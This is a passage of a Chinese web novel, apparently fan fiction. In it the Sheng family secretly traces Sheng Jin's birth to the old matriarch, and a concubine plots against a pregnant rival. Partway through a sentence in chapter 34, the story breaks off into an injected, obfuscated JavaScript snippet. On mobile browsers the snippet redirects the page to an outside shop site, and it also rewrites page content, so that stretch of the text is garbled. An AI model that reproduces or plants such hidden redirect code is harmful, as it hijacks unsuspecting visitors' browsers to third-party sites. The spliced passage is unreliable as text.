盛老太太看着白滢婷脸上的表情有些激动,便随着白滢婷的目光看去,发现白滢婷得目光一直停留在盛明兰身上,心里泛起了一丝疑惑。 白滢婷过了好一会儿,回过神来,对着盛明兰招了招手,道:“孩子,你过来一下,让我好好看看。” 五岁的盛明兰有些不明所以,她不明白这个衣裳华丽的妇人为什么叫她过去,于是她看向了盛老太太和王若弗,瞧见盛老太太对着她微微点了点头后,便走到了白滢婷的面前。 白滢婷双手轻轻的抚摸着盛明兰的小脸,目光像似透过盛明兰看向某个人,轻声细语道:“真像啊!若是嫂嫂还在,恐怕也生不出这么像她的女儿了。” 一旁的盛老太太闻言,细细打量起盛明兰,脑海中回忆起十几年前与慕卿云见过的一面,将慕卿云的样貌与盛明兰对比了一下后,才发现她的这个小孙女和慕卿云有几分相似,但是盛明兰还小看不出有多像,可是白滢婷是看着盛长轩长大的,既然白滢婷说盛明兰与慕卿云相像,那自然是拿盛长轩小时候的样子与盛明兰对比的。 盛老太太想到这里便了然于心了,她撇了一眼身旁脸上有些难看的王若弗,出言道:“县主,你这是怎么了。” 白滢婷听到盛老太太的话,目光回到了盛老太太身上,但是手还舍不得从盛明兰身上拿下来,她脸上浮起一抹微笑,道:“让盛老太太见笑了,您这孙女着实是与我有缘。” 白滢婷说到这里,视线飘忽不定,道:“您这孙女长得和我哥哥独子十分相似,不,应该说她的样貌更偏向我的嫂嫂。” 王若弗和盛华兰算是听明白了,白滢婷为什么会突然亲近盛明兰,感情是盛明兰长得像盛国公夫人啊! 王若弗想着盛明兰的岁数和顾廷烨顾廷炜的相差极大,反正白滢婷也不可能找盛明兰给其中一个儿子当媳妇,她的脸色变得好看一些了,脸上挂着些许笑容,语气中带着一丝恭维道:“也是我家明儿有福气,尽然能和盛国公夫人长得相像,想必以后的样貌也差不到哪里去。” 白滢婷对于王若弗的话一笑而过,她的目光又回到了盛明兰身上,此时她才发觉盛明兰身上衣裳的料子有些旧了,心里暗叹道:“瞧着这小姑娘在盛家也没有多受重视啊!” 白滢婷摸着手腕上带着的镯子,心里不由的想道:“出门前没想过要见盛家姑娘们,因此并没有准备什么东西,手上的这个镯子虽然不是特别珍贵,但好歹是金子制成的,给了这个小姑娘也不会引起盛家其他姑娘的嫉妒。” 白滢婷这样想着,也从手腕上取下镯子递给盛明兰,盛明兰有些不知所措的望向盛老太太和王若弗,王若弗瞧着也不是什么贵重的东西,心里并没什么感觉,盛老太太亦是如此,因此,盛明兰见二人都点了头后便收下,与白滢婷道了谢,而后白滢婷又拉着盛明兰和其他人聊了好一会儿才离去。 等白滢婷走了后,盛家姑娘们也回到自己的院子,而盛老太太将王若弗留下来提点了几句后,王若弗便脸上难看的离开了。 盛老太太看着王若弗消失的背影,脸上的表情看不出喜怒,语气平淡,道:“不是什么高枝都可以攀得上的,顾家和盛家的地位差距可不是一般大啊!” 房嬷嬷站在老太太身边没有出声,过了好一会儿,盛老太太,面色不变,道:“你去库房取几匹布料给明儿那里送去,就说我这个当祖母的给孙女的心意,另外卫小娘怀胎应该也五个月了吧,让人和卫小娘说一声,我这当祖母的想要时常见见孙女。” 房嬷嬷闻言,面色不改,道:“是,老太太。”随即便下去办好盛老太太的事情,而白滢婷回到白家后,把今天见到的事情与白老爷和盛瑾说了一下,他们只是一笑而过,毕竟世界上长的一样的人不在少数。 不过,盛瑾和白老爷也看出白滢婷对那个小姑娘上了些心思,他们对此没有发表任何意见。 第 34 章 宥阳盛家,盛维将盛老太太的信看完后,内心久久不能平静,对于盛瑾这个名字,他并不陌生,毕竟扬州城有名的盐商白老爷认的义子成了国公爷这件事情在商贾圈广为流传,堪比吕不韦的奇货可居啊! 盛瑾在民间可是一个活着的传奇啊!身为孤儿被隐士收为徒弟,师傅逝世后,十三岁再次出现,一路高歌,十五岁三元及第状元郎,未满二十岁便被皇帝封为了世袭国公,并且还位列从三品工部侍郎,不到三十岁升至从二品工部尚书,如今虽然被皇帝下旨修养三年,但官职从二品工部尚书升至正一品少师,任谁都知道皇帝是站在盛瑾这边的,三十多岁的少师,古往今来也是凤毛麟角般的存在了,最难得的是虎父无犬子,盛瑾的儿子盛长轩十三岁便成了六元及第的状元郎,简直是青出于蓝胜于蓝啊! 盛维想到这里,心里不禁泛起一丝犹豫,虽说盛老太太对他们大房一脉有大恩,但这件事情到底涉及了一位名扬天下的国公爷,若调查出来这位国公爷真是盛老太太的亲生儿子,人家愿不愿意认盛家这门子亲戚都是问题,毕竟论钱,盛家比不过国公爷,论权,人家即是国公又位列正一品少师,而盛家如今在朝为官的仅盛纮一人,还是个正六品通判,属实是比不上人家国公爷啊! 盛维到底是拿不定主意的,于是他去找盛大老太太拿主意,他将盛老太太的信件交给了盛大老太太,等盛大老太太看完后,心里也是一片震惊,过了好一会儿,盛大老太太叹了口气,道:“维儿,你婶子对我们有大恩,这些年她也没求你办过什么大事,这件事情于她而言十分重要,我知道你有顾虑,但你婶子只是想知道真相罢了。” 没有人比盛大老太太更能理解盛老太太的心思了,一个亲子会给盛老太太带来极大的安慰,而且如今的盛纮对盛老太太只有表面的恭谨,盛老太太的亲子无论从任何方面来说,对盛纮都是一个震慑,毕竟长兄如父,盛瑾若想教育盛纮那是轻而易举的。 盛大老太太也知道盛维的顾虑,如若是真的,盛老太太能否认回这个儿子都是个问题,扪心自问啊!盛家在盛瑾面前还真不够看的,更何况人家如今有干亲在,平白无故又多了一门亲戚,不知盛瑾心中咋想的,再者盛老太太若是为了认回亲生儿子做出什么出格的事情,惹恼了盛瑾,盛家可承受不住盛瑾的怒火。 盛大老太太看着神情有些复杂的盛维,轻声道:“你无需多虑什么,你婶子比你聪明能耐,她知道什么该做什么不该做。” 盛维听到盛大老太太的话,心不由自主的想道:“虽说婶子是个理性的人,但是涉及到自己的亲生儿子,谁又能保持理性呢,唉,无论如何还是先查查吧,毕竟婶子帮我们大房一脉许多次了。” 盛维想到这里,语气中带着一丝恭谨,道:“母亲放心吧,儿子一定会帮婶子查清楚这件事情的。”而后就退出去找人调查这件事情了,而此时被盛维调查身世的盛瑾正悠闲自得的一边喝茶,一边看着手中的书籍,全让不知未来的自己将面对一位疼爱自己的母亲,以及一位他看不过眼的庶弟和一大家子亲戚。 盛瑾看书看得津津有味时,突然听到一丝动静,微微抬起头,映入眼帘的是顾廷烨有些许发黑的脸色以及顾廷炜憋着笑意的表情。 盛瑾看到这种场景,不用多想便猜出顾廷烨和顾廷炜发生了什么事情,无非是被一些姑娘给缠上了,毕竟顾廷烨也算得上是一位翩翩少年郎,家世好又有才学功名,自然是能引起一些扬州城大户人家的关注,即使白滢婷已经明确表示顾廷烨暂时不会议亲,但是架不住有些人家存在赌徒心理,想着让自家姑娘和顾廷烨洋装偶遇一下,没准顾廷烨就看上自家姑娘了呢。 这些人家的想法不外乎是想让顾廷烨自己去和白滢婷提出他看上了哪家姑娘,若是顾廷烨自己想要议亲,那白滢婷大抵会思索一番的,毕竟父母总是要考虑一下子女的意见吧。 白滢婷若是真的死活都不同意,那他们也没什么损失,倒是白滢婷有可能和顾廷烨出现裂痕,当然,抱有这种想法的人家只是少数,毕竟大多数人都是清醒的,为了一段结成概率极小的姻缘去招惹一个国公府和一个侯府不值当。 虽然大部分人家都十分清醒,但也有一些不知分寸的人家为着所谓的泼天富贵去做这些事情,于是顾廷烨这些天出门时常会碰到一些人家的姑娘,次数多了,他也看出这些姑娘是故意乔装偶遇的,可即使他乃至盛瑾白滢婷都看出端倪,但他们也不能搬到明面来和这些人家争论,毕竟扬州城也不是白家自家土地,你有什么理由不让人家姑娘出门嘛。 不过,白滢婷和盛瑾倒是商讨出了一个方法,便是让顾廷烨去扬州城最有名、管理最严格的书院读书,那里相当于封闭式管理,半个月放一次假,这些人家也没办法让自家姑娘混进书院和顾廷烨偶遇,况且顾廷烨也能在书院中好好读书和体验一下书院生活,等时间久了,想必那些个人家也会放弃纠缠顾廷烨,毕竟他们都将人家侯府嫡子给逼到书院生活了,若是这样还坚持让自家姑娘去纠缠顾廷烨,那可真要得罪丰国公府和宁远侯府了。 盛瑾前几天已经和那家书院打好招呼了,不过他瞧着顾廷烨的表情,起了一丝逗弄的心思,便面带微笑道:“烨儿,这些天你不去逛逛扬州城,看看扬州城的风景,回来这么早干什么吗?” 顾廷烨一听就知道自己舅舅想看自己的笑话,白了盛瑾一眼,站在那里一动不动,身旁的顾廷炜看到盛瑾逗弄顾廷烨,顿觉自己有了靠山,便没再憋着笑意。 顾廷炜笑了一会儿,见顾廷烨没什么反应,便配合盛瑾逗弄顾廷烨,他洋装一副单纯小朋友秉着乐于助人良好品质的样子,语气中带着一丝笑意的替自己的哥哥回答无良舅舅的话,道:“舅舅,舅舅,这个我知道,哥哥每次出去都会碰到一些姑娘,所以他不喜欢出去了,搞得炜儿也不能出去玩耍了。”说完后,他低着头嘟着嘴,装出一副委屈巴巴的表情。 盛瑾听到后,眉眼弯弯,语气中带着一丝笑意,道:“对,都怪你哥哥,搞得我们炜哥儿都不能出去了,看把我们炜哥儿委屈成啥样了,现在我们的炜哥儿成了真正的“委哥儿”了。” 顾廷炜听出盛瑾在调侃他,但是为了看顾廷烨笑话,才忍住没有反驳盛瑾,而身旁的顾廷烨看着盛瑾和顾廷炜一唱一和的场景,心里不禁泛起疙瘩,立马吐槽道:“顾廷炜你都十三岁了,装出一副天真小孩子的样子,到底是恶心我还是恶心自己啊!你以为我们那无良舅舅只会调侃我一个嘛,哼,搬起石头砸自己的脚了吧。” 顾廷炜闻言,瞪了盛瑾一眼后,对着顾廷烨冷声道:“瞧二哥哥说的,我也只在舅舅和你们这儿这样,旁人是不可能看到我这样的,我这是亲近你们呢,亏得我今天还帮你躲过了一次姑娘们的偶遇,看样子,二哥哥以后是不需要我帮忙了。” 顾廷烨看着顾廷炜这个样子,心里吐槽道:“顾廷炜,你这个欺软怕硬的家伙,明明舅舅也调侃你了,你却只敢说我。” 顾廷烨虽然心里这么吐槽顾廷炜,但面上还是连忙告饶道:“是是是,是我的错,炜哥儿就原谅哥哥吧。”毕竟他也拿不准以后需不需要顾廷炜帮忙躲过那些姑娘们。 顾廷烨抬了抬下巴,比了个一,顾廷烨心领神会,连忙开口道:“好好好,下次给你带东边那间糕点铺子的点心,一盒,行了吗?” 顾廷炜傲娇的点了点下巴,道:“这还差不多呢,哥哥,我原谅你了。”虽然他有银子买东边那家糕点铺子的点心,但能让别人出银钱给他买糕点还是十分爽的。 盛瑾看到顾廷烨这样也没有再调侃他了,而是安安静静的欣赏着顾廷烨和顾廷炜宛如两个小朋友斗嘴的场面,过了一会儿,等顾廷烨和顾廷炜说好话后,他才慢悠悠的告诉顾廷烨这个消息。 顾廷烨闻言,高兴的忘乎所以,接着激动的上前抱了盛瑾一下,恭维道:“我就知道舅舅你最好最厉害了,不愧是我最最亲爱的舅舅。” 盛瑾佯装嫌弃的推开顾廷烨说道:“敢情有用的时候就是最最亲爱的舅舅,没用的时候就是陌生人啊!” 顾廷烨有一种被戳破的尴尬,不过他很快又厚着脸皮讨好盛瑾,一旁的顾廷炜也跟过来恭维盛瑾,场面十分温馨,而此时的盛家可不平静啊! 盛家林噙霜院中,林噙霜皱着眉头,语气中带着一丝酸味,道:“自从那个端淑县主来了之后,这老太太是三天两头叫明姐儿去她院里,前些天老太太又请了那个端淑县主来家中做客,瞧着她给家中姑娘们的礼物里,明姐儿的怕是费了一番心思,这卫如意的祖坟到底冒了什么青烟啊!生了个和盛国公夫人十分相似的姑娘。” 周雪娘附和道:“谁说不是呢,瞧端淑县主对六姑娘那稀罕劲,可见她和已逝的盛国公夫人关系十分亲近,若是这六姑娘长大后的样貌仍然与盛国公夫人相似,这端淑县主怕是恨不得将六姑娘带回家中亲自扶养,这六姑娘的福气八成还在后头呢。” 周雪娘说者无意,林噙霜听者有心,她想起盛纮近来也让她多照看一下卫如意和盛明兰,莫不是存着利用盛明兰的相貌和端淑县主搭上关系的想法。 林噙霜想到这里,思绪又飘到了另一件事情上,盛华兰如今也十三岁了,去年便从盛老太太院中搬回王若弗的院里学习管家理事的本领了,王若弗铁定是舍不得再将盛华兰送回盛老太太身边,王若弗连盛华兰都舍不得那盛如兰就更舍不得了,而盛纮有让人代替盛华兰陪在盛老太太身边的想法,为的不过是向外面的人展示他对盛老太太的孝心,可惜盛老太太拒绝了,不过,现在盛老太太时常叫盛明兰去她院中,使得盛纮又再次起了这样的想法。 林噙霜想到那日她向盛纮提起让盛墨兰去陪着盛老太太时,盛纮那躲躲藏藏的目光,全然没有先前那般爽快同意她要求的样子,怕是端淑县主的态度让他起了旁的心思。 林噙霜想到这里,不由自主的喃喃自语道:“难不成纮郎和老太太都有意让盛明兰养在老太太膝下。” 林噙霜眼神中闪过一丝狠戾,咬了咬下嘴唇,道:“若是盛明兰养在老太太膝下,那老太太绝对会保卫如意平安生下孩子,这卫如意要是生个女儿还好,若是儿子,枫儿的家产就要少上许多,若这孩子再是个聪慧的,引起纮郎的重视,那么枫儿得到的疼爱便会少上许多,不,我不能让卫如意平安生下孩子,谁都不能夺走我在盛家的地位。” 周雪娘闻言,语气中带着一丝迟疑,道:“小娘,现下六姑娘时常去老太太那里,若是我们对卫小娘那边做些什么,我怕老太太会察觉到什么,大娘子可比不得老太太,若真让老太太发现什么,主君那里可不好过啊!” 林噙霜脸色有些狰狞,咬牙切齿,道:“若不是有端淑县主这一事在,老太太就算要再养个姑娘在膝下也应该选的是我家墨儿,哪里轮得到卫如意生的那个小孽种,如今老太太和纮郎对那小孽种上了心,我们不能动她,但是现下老太太没有明说让那个小孽种养在她膝下,那么卫如意那里她不会过多上心,若是错过这个时机,我们要对卫如意要再下手就难了。” 周雪娘眼神中闪过一丝犹豫,道:“小娘,若是让六姑娘知道我们对卫小娘下了手,恐怕我们和六姑娘的关系就真的是不死不休了。” 林噙霜眼中带着一丝执着,语气中带着一丝不屑,道:“如今那盛明兰不过才五岁,五岁孩童能知道什么,现下对卫如意动手,那盛明兰除了哭什么都想不到,再过个六七年,她怕是都不记得她亲生娘亲长什么样子了,还谈什么报仇雪恨啊!再者,妇人生孩子本就是在鬼门关走一遭,她卫如意没福气生下盛家的孩子和我有什么关系。” 林噙霜说到这里,眼中闪过一丝恨意,道:“当初要不是我有本事,早就被卫如意那贱人抢去纮郎的宠爱了,结果她还想一胎接一胎生,做梦,现下她姑娘敢和墨儿抢,若是让她生个儿子出来还得了啊!我是不会让她再生个儿子出来和枫儿抢东西的,你去找郎中给卫如意把脉,之后怎么办,你心里清楚。” 周雪娘闻言微微点头后,便下去按照林噙霜的吩咐办事情了,而王若弗的院子中,王若弗正对着盛华兰发牢骚,道:“这老太太三天两头找明姐儿过去,之前也没见她这般找你啊!莫不是真的想要养明姐儿,说起来你父亲最近对卫小娘也开始上些心了。” 盛华兰听出王若弗最后一句话中的酸意,她嘴角微微弯起,拉着王若弗的手,轻声细语道:“母亲,父亲对卫小娘上心总比对林小娘上心来的好嘛,您当初给父亲纳卫小娘为妾,不就是为了分林小娘的宠爱嘛,至于祖母是否想要扶养六妹妹,自然是由着祖母的意思来,再说了,若是祖母不抚养六妹妹,难不成你舍得如儿,又或是想要便宜了林小娘那边呢。” 王若弗闻言,瞪大双眼,迫不及待的反驳道:“我当然舍不得如儿了,更不能便宜了墨兰那丫头,要是墨兰那丫头养在老太太膝下,我能被气死。” 盛华兰拍了拍王若弗的手,安抚道:“就是嘛,母亲你既不想让如儿过去,又不想便宜了墨兰,那就只能让六妹妹过去陪伴祖母了,自从我离开祖母身边后,父亲就一直想让墨兰代替我陪伴在祖母身旁,可是祖母不喜林小娘,所以一直没有和父亲松口,现下因为六妹妹长得像盛国公夫人,父亲便不在执意与墨兰一人,祖母也不用一直拒绝父亲的请求了,这不是皆大欢喜嘛。” 王若弗皱了皱眉头,语气中带着一丝不甘,道:“话是这么说没错,先前我一直嫌弃卫小娘不争气,没办法分林噙霜的宠爱,可现下看到你父亲对卫小娘好些,我这心里就是不得劲,说到底我就是看不惯你父亲对其他人上心。” 王若弗说道这里,顿了顿,像是泄气的皮球,道:“罢了,只要能分林噙霜的宠爱,其他的我都能忍了。”由此可见王若弗有多恨林噙霜,盛华兰闻言也没说什么了。 转眼间便过去了两个多月,因着盛维对这件事情的重视程度,再加上青州离宥阳不算太远,他很快便查清了盛老太太当年生子的来龙去脉,以及盛瑾小时候的事情。 盛维听着下人汇报调查到的事情,心情越来越沉重,而一旁的下人在说完调查到的事情后,低着头,眼神中闪过一丝惊恐,道:“老爷,我们怕是不能再调查盛国公了,青州清水县本就是盛国公的封地,清水县因着盛国公的投入建设,可谓是家家富裕、人人读书识字,这些年读出的秀才举人少说都有五十个,乃至进士都有十几个,清水县的百姓为此对盛国公十分敬重,这次我们在清水县调查盛国公的事情已经引起清水县百姓们的警觉了,若是在继续调查盛国公恐怕不妥啊!” 盛维对于盛瑾封地清水县中的秀才举人数量属实是震惊,再加上下人说清水县的百姓们人人读书识字,那就意味着将来盛瑾的封地内还会不断涌出进士、举人、秀才,这些人都是盛瑾实打实的人脉啊! 盛维不知道盛瑾封地清水县里出来的进士对于皇帝而言都是可持续发展资源,毕竟盛瑾封地中所有书院培养出来的读书人都是实用性人才,更何况盛瑾当初给他封地里的读书人都立下了规矩,凡是从他封地里出来的读书人,一律不允许参与皇位之争中,因着盛瑾在封地里的威望,凡是他封地里出来的读书人都谨遵这条规矩,这相当是皇帝的专属人才了,妥妥的保皇党,因此皇帝对于盛瑾封地中的读书人十分有好感啊! 盛瑾封地里出来的进士也因着遵守这个规矩而深受皇帝的重用,再加上盛瑾对自己封地里出来的人十分护短,因此朝中的人也不会没事找事去为难盛瑾封地里出来的人,就这样,盛瑾成了朝堂上一股不可忽视的力量。 盛瑾在皇帝心目中的形象相当于心思单纯、不争权夺势、又能赚钱的好员工一般,那好感度是爆棚的,要不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|8581271|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然,也不会想方设法将唯一的皇子交给盛瑾一脉来庇护。 那位调查盛瑾的下人等了好一会儿也没听到盛维出声,便抬头看了一眼盛维后,马上低头,他想起自己这些天在清水县的经历,心里一阵害怕,他是真不想在去清水县了,于是他又忍不住对着盛维诉苦,道:“老爷,真不是小的说谎啊!盛国公对清水县安全管控严格,清水县的百姓们又十分团结,他们察觉到我在调查盛国公后,看我的眼神十分像是要将我抓去县衙或是打我一顿一般,我若是再出现在清水县恐怕就真的不能回来见您了。” 这位下人到没有说谎,许是盛瑾的护短影响了他封地清水县的风气,清水县里的百姓们都十分团结,再加之盛瑾对清水县的管理十分严格,可以说盛瑾的封地清水县是本朝里最安全的地方之一,以盛瑾在清水县的威望,这位下人若是再出现在清水县打探盛瑾的事情恐怕真会如他所言,毕竟盛瑾在自己的封地清水县,乃至青州的巨额投资可不是虚的啊! 盛维看着眼前惊恐不已的下人,面不改色,道:“放心吧,我不会再让你去调查盛国公了,不过这件事情,你要守口如瓶。” 虽然盛维面不改色,但是这位下人能从他的声音中听出这件事情的严重性,他立马保证道:“老爷放心,我绝不会告诉任何人的。” 盛维摆了摆手让那位下人出去,此时他的心情是十分复杂的,毕竟当时他对盛瑾是否是盛老太太亲生儿子的事情并没有抱多大的希望,谁曾想这一查居然真的给他查出了一个国公爷的堂弟来。 盛维孤身一人创下这一大片家业,自然是有几分本事的,他清楚的知道这件事情已经超出了他可以管理的范围了,一个国公爷,就算认回来,他也无法做这个堂弟的主,反倒是整个盛家都得供着人家,可是人家盛国公真的需要盛家的供养嘛。 盛维思前想后实在是想不到盛家有什么是盛瑾需要的,于是他去找了盛大老太太,而盛大老太太听完儿子调查的结果后,心里也是一片震惊,过了许久,她才缓缓开口道:“这件事情就交由你婶子来决定吧,我们做不了你婶子的决定,更做不了盛国公的决定。” 盛维闻言,思考片刻后,便和盛大老太太一起将这件事情瞒得死死的,谁也没说,他们知道一个家族里有一个国公爷的好处,但是前提是这个国公爷愿意认回盛家,要不然一切都是白搭,毕竟双方实力严重不对等的情况下,他们也不知道盛老太太是否能认回这个儿子,所以这件事情在尘埃落定前,谁也不能告诉。 盛维动用人脉将这封关于盛瑾身世之谜的信件,以极快的速度送到盛老太太手中,此时的他们没有想过盛瑾会这么快被盛老太太认回来,更没想到盛瑾的强力输出还帮盛维平定了宥阳老家中的一些刺头族人,让盛维感激不尽,这些都是后话了。 此时扬州城书院中,顾廷烨在这里过了两个月的清净日子,没有外出偶遇姑娘的烦恼,没有日常在家中陪外祖父应酬来往的友人时的忙碌,每日的主要活动便是和新交的朋友一起读书习字,十分惬意。 顾廷烨心里想着:“这才是人过的日子啊!那天天被一群姑娘堵着像什么样子,突然感觉有个舅舅还是十分有用的。”还好盛瑾没有读心术,要不然盛瑾一定会让这个白眼狼外甥知道一下舅舅的疼爱有多疼。 其实自从盛长轩离开后,顾廷烨就十分的想念他,一是盛长轩和顾廷烨是一同长大的,两人很少分开;二是盛长轩与顾廷烨二人都十分聪慧,两人在一起生活和学习,二人之间有共同语言,顾廷烨的知心朋友很少,突然失去了盛长轩这个知心弟弟有些不习惯,再加上盛长轩平时会管着顾廷烨,突然没人管着顾廷烨了,他有些不习惯,因此顾廷烨有一段日子老是心不在焉,做什么事情都没有精神。 如果盛瑾知道自己的外甥那段日子的状态与自己儿子盛长轩有关,他一定会给顾廷烨一个大大的白眼,嘲讽顾廷烨有受虐倾向。 盛瑾和白滢婷曾来过书院看顾廷烨生活状态怎样,他们毫无意外的瞧见了顾廷烨神采奕奕的样子,已然没有进入书院前那般低气压的感觉,便知道顾廷烨在书院的这些日子过的不错,他们还意外得知顾廷烨交了新朋友,只是顾廷烨死活都没有告诉他们新朋友的姓名家世,本着尊重顾廷烨隐私的想法,他们也没有过多追问调查顾廷烨朋友的身份,想着等顾廷烨愿意告诉他们时,他们自然而然便会知道,不过,从顾廷烨聊起他朋友时的神态可以看出他与那位新朋友应该很合得来。 顾廷烨之所以没有告诉白滢婷和盛瑾有关他新朋友身份的事情,也是因为他的新朋友正是扬州城通判盛纮的嫡长子盛长柏,虽说白滢婷对盛家盛老太太和盛明兰十分有好感,但架不住盛长柏有一个“宠妾灭妻”的父亲,无论是白滢婷还是盛瑾对于盛纮都没有什么好感,尤其是白滢婷看到盛明兰在盛家的日子并不是很好,以及盛家如今由一个小妾管家的情况下,她对盛纮就更没有好感了。 顾廷烨害怕白滢婷和盛瑾会下意识的觉得有其父必有其子,因着盛纮而不喜欢或是看不起盛长柏,毕竟顾家五房太太、顾偃开、秦家就是很好的例子。 其实顾廷烨对于盛瑾、白滢婷、顾家五房、顾偃开、秦家之间的事情并没有多深的了解,无论是盛瑾还是白滢婷都不会因为一个人而迁怒其他人的,顾家五房和秦家那完全是自找的,顾家五房太太三番两次给白滢婷找麻烦,连带着顾家五房嫡长子顾廷炀对白滢婷也鼻子不是鼻子眼睛不是眼睛的,白滢婷能保持平静的态度对待他们都算得上她人品好了,而秦家和顾偃开都是间接造成白滢婷当初难产的因素之一,盛瑾能对他们有好态度才是怪事呢。 当初顾偃开是怀着对大秦氏的愧疚不情不愿娶的白滢婷,所以他对白滢婷十分排斥,以至于对白滢婷乃至白滢婷生的孩子都十分冷淡,要不是发生白滢婷难产这件事情,他恐怕还不会像现在这样理亏的对待白滢婷以及她的孩子,毕竟正是因为他的愧疚使得他对东昌伯爵府秦家人三天两头上门的事情,睁一只眼,闭一只眼,导致小秦氏能轻而易举的实施计划。 至于小秦氏为什么会对白滢婷下手,盛瑾暗地里又派人仔仔细细打听了一遍,东昌伯爵府有两个嫡女,大秦氏自嫁入顾家后的事迹可是在汴州城流传已久了,直接导致了她妹妹小秦氏婚事艰难,再加上东昌伯爵府大不如前了,而且如今的当家人是小秦氏的哥哥,小秦氏哥哥当然不如她的父亲母亲疼爱她,自然不舍得出太多的嫁妆给小秦氏。 小秦氏也因此不易嫁入高门大户,但她的兄嫂又不愿小秦氏低嫁,于是有了让小秦氏给顾偃开当填房的想法,既剩了一笔嫁妆,又能继续联系秦顾两家的关系,只可惜啊!被白滢婷给截胡了,即使白滢婷对东昌伯爵府客客气气的,但在他们心里怕是觉的这是白滢婷欠他们的,若不是他们起了用小秦氏的婚事换好处的念头,也不会逼得小秦氏对白滢婷下手,毕竟动白滢婷能够让小秦氏以最快的速度得到让她兄嫂满意的婚事。 盛瑾都不用多想,以顾偃开那王八羔子对大秦氏的愧疚感,恐怕东昌伯爵府一提出让顾偃开娶小秦氏,那家伙估计都不带想的直接点头了。 盛瑾不由的想起当时的场景,若不是当初下人及时来报,他带着人闯顾家,恐怕之后他看到的就是白滢婷的尸体了,一想到这里,他就恨不得穿回白滢婷嫁人那日,直接给顾偃开一个嘴巴子退婚,因此他不仅对顾偃开无感,对秦家更无感,不过也正因为这件事情使得东昌伯爵府秦家人理亏,至此之后极少等宁远侯府的门了,倒是小秦氏因祸得福,不必嫁给个老头了。 盛瑾和白滢婷都觉得没必要让孩子们知道这些,毕竟这些事情对于顾廷烨和顾廷煜,乃至顾偃开之间的关系都没有什么好处,顾廷烨也因此对盛瑾和白滢婷的想法不是很了解,从而导致他一直不知道如何与盛瑾白滢婷介绍盛长柏。 第 35 章 扬州城盛家,盛老太太院中,盛老太太正紧紧的抓着盛维寄给她的信件,信上的内容让她久久不能平静下来。 原来盛老太太当初生下的是一对双生子,只不过她怀孕时,其中一个孩子的心跳声十分微弱,郎中把脉时便没有什么察觉,再加上她当时怀孕的肚子并没有像其他妇人怀双生子时那么大,因此,即使后来郎中把脉时曾发现过有几次异常现象,但都没有往双生子这个方向猜想,只当胎儿心跳的常态处理,所以当她生完第一个孩子后,又生出第二个孩子时,可把郎中吓了一跳,接着还没等郎中反应过来,她的第二个孩子很快便没有了呼吸,这让郎中心里十分惊恐,当时的他是又怕被盛家找麻烦,又怕别人说他医术不精,于是便买通了接生的稳婆,带走了死掉的孩子,这样就没有人知道盛老太太怀的是双生子,毕竟一直以来他都没有说过盛老太太怀的是双生子。 等郎中将一切事情都处理妥当后,正要将盛老太太死掉的孩子埋了时,奇迹发生了,那个死掉的孩子居然神奇般地活了过来。 郎中当时是把这个孩子送回去也不是,留下来又不知道如何安排这个孩子,最后他将这个孩子交给了一个老人,也就是老猎户,他告诉老猎户说这个孩子是被家人丢弃的以及这个孩子姓盛,接着他给了老猎户二十两银子后便离开了,而老猎户就这样带着盛瑾回到了桃花村生活。 盛老太太的内心是无比心痛,她深感自己作为一名母亲的失职,既没办法在内宅保住大儿子的性命,又没办法保护好刚出生的小儿子,此时的她再次感受到了当初大儿子在她怀中逝去的绝望与无力。 盛老太太的眼眶开始逐渐变得通红起来,直至一滴眼泪从眼角滑落后,她再也抑制不住自己心里的悲伤和喜悦哭了出来,毕竟此时的她除了哭,没有任何办法缓解自己的心情,她想要冲到盛瑾面前,抚摸盛瑾的脸,拥抱盛瑾,可是她不能这么做,她什么都不能做,也什么都做不了。 房嬷嬷看着眼前脆弱的盛老太太,她不知道要如何开口安慰自己的老太太,只能无力的看着盛老太太默默的哭泣。 房嬷嬷跟在盛老太太身边许久,见识也不少,盛瑾年少封爵,从正六品通判升至正一品少师用了不到二十年的时间,虽说有皇帝的恩宠在,但盛瑾立下的功劳绝对不少,就冲盛瑾最初献上的两个粮种之功,往后无论是谁当上皇帝都不会对盛瑾出手,更何况盛瑾这些年为百姓、朝堂都做了不少事情,尤其是如今繁华直逼扬州的青州都是盛瑾大笔大笔银钱心血砸出来的,而且盛瑾在读书人的圈子中也是十分有名的,无论是为着天下百姓的民心,还是笼络读书人的立场,皇帝都不会对盛瑾出手的。 房嬷嬷不认为这样的盛瑾会需要一个犹如陌生人的家族和母亲,但她还是在心里祈求道:“希望真人保佑我家老太太可以顺利的认回哥儿吧,信徒一定多给真人捐香火钱。” 房嬷嬷能想到的事情,盛老太太只会想的更深,盛瑾的出现对于盛家而言既是一个机遇又是一个风险,一切都取决于盛瑾是否愿意认回盛家,毕竟以盛瑾如今的地位,他对盛家绝对是最大的助力,而盛家却不能为他带来一丝的助力。 盛老太太扪心自问,如果她是盛瑾,她会选择回到一个不熟悉又无法带来任何助力,还可能拖后腿的家族嘛,不是她贬低盛家,而是盛家在盛瑾眼中还不够份量,她不知道盛瑾会不会为了那点子血脉亲情选择认回盛家,毕竟她对于盛瑾一点也不了解,只能从别人的话语中判断出来盛瑾是一个重情义的人。 盛老太太无法想象如果她贸然前往与盛瑾相认,那她在盛瑾眼中会是什么样子,她清楚自己想要与盛瑾相认,不是为了盛瑾的权势,单单是一个母亲对失而复得孩子的渴望,但她的相认是连带着盛家的,盛家其他族人可不是像她这般单纯的想法,一个国公爷对于盛家而言足够有份量了。 盛老太太此时此刻心里十分矛盾,她想要认盛瑾,但是她又担心盛瑾认为她别有用心,她害怕盛瑾认为自己是为了他的权势而来,她更害怕盛瑾不愿意认她,她想到这里,不由的喃喃自语,道:“瑾儿会愿意认我嘛,会愿意认回一个渺小且毫无助力,还可能拖后腿的盛家嘛,他又凭什么要认回我和盛家呢,一个从未相处且没有给过瑾儿任何帮助的母亲和家族,瑾儿真的会选择认回嘛。” 